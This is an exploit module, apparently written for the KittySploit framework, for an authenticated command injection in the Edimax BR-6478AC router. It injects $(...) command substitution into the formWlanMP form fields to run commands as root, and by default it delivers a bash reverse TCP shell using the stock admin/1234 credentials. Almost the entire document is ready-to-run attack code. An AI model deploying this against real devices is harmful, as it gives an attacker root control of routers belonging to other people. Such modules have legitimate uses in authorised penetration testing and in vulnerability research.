Edimax BR-6478AC formWlanMP command injection root RCE

"""Edimax BR-6478AC formWlanMP authenticated command injection (root)."""
from __future__ import annotations
import base64
import re
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Edimax BR-6478AC formWlanMP command injection root RCE', 'description': 'HTTP Basic POST /goform/formWlanMP — command substitution in ateFunc (or other fields) reaches system() as root.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['edimax', 'router', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/edimax_br6478ac_formwlanmp_command_injection_root_rce_detect']}}}
    _HANDLER_PATH = '/goform/formWlanMP'
    _DEFAULT_SUBMIT_URL = '/wlan_mp.asp'
    _FORM_FIELDS = ('ateFunc', 'ateGain', 'ateTxCount', 'ateChan', 'ateRate', 'ateMacID', 'e2pTxPower1', 'e2pTxPower2', 'e2pTxPower3', 'e2pTxPower4', 'e2pTxPower5', 'e2pTxPower6', 'e2pTxPower7', 'e2pTx2Power1', 'e2pTx2Power2', 'e2pTx2Power3', 'e2pTx2Power4', 'e2pTx2Power5', 'e2pTx2Power6', 'e2pTx2Power7', 'ateTxFreqOffset', 'ateMode', 'ateBW', 'ateAntenna', 'e2pTxFreqOffset', 'e2pTxPwDeltaB', 'e2pTxPwDeltaG', 'e2pTxPwDeltaMix', 'e2pTxPwDeltaN', 'readE2P')
    _BENIGN = {'ateFunc': '11b', 'ateGain': '1', 'ateTxCount': '100', 'ateChan': '6', 'ateRate': '11', 'ateMacID': '1', 'ateTxFreqOffset': '0', 'ateMode': '1', 'ateBW': '1', 'ateAntenna': '1', 'e2pTxFreqOffset': '0', 'readE2P': '0'}
    port = OptPort(80, 'Router HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('admin', 'HTTP Basic username', required=False)
    password = OptString('1234', 'HTTP Basic password', required=False)
    inject_field = OptString('ateFunc', 'Form field carrying payload', required=False)
    marker_path = OptString('/tmp/edimax-formwlanmp-marker', 'On-device marker path', required=False)
    submit_url = OptString(_DEFAULT_SUBMIT_URL, 'submit-url field', required=False)

    def _wrap_command(self, command: str, marker: str) -> str:
        return '$(%s > %s 2>&1)' % (command, marker)

    def _build_body(self, injected_value: str, field: str, submit_url: str) -> str:
        fields: dict[str, str] = {}
        for name in self._FORM_FIELDS:
            fields[name] = injected_value if name == field else self._BENIGN.get(name, '')
        fields['submit-url'] = submit_url
        return urlencode(fields)

    def execute(self, cmd: str) -> str:
        field = str(self.inject_field or 'ateFunc')
        if field not in self._FORM_FIELDS:
            return f'invalid inject_field {field}'
        marker = str(self.marker_path or '/tmp/edimax-formwlanmp-marker')
        payload = self._wrap_command(cmd, marker)
        body = self._build_body(payload, field, str(self.submit_url or self._DEFAULT_SUBMIT_URL))
        user = str(self.username or 'admin')
        passwd = str(self.password or '1234')
        token = base64.b64encode(f'{user}:{passwd}'.encode()).decode()
        resp = self.http_request('POST', self._HANDLER_PATH, data=body, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': f'Basic {token}'})
        code = int(getattr(resp, 'status_code', 0) or 0) if resp else 0
        if code == 401:
            return '401 Unauthorized'
        return f'formWlanMP injection sent (HTTP {code}); verify {marker} on device'

    def check(self):
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Edimax HTTP reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Device not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('formWlanMP command substitution')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        return True if blind else True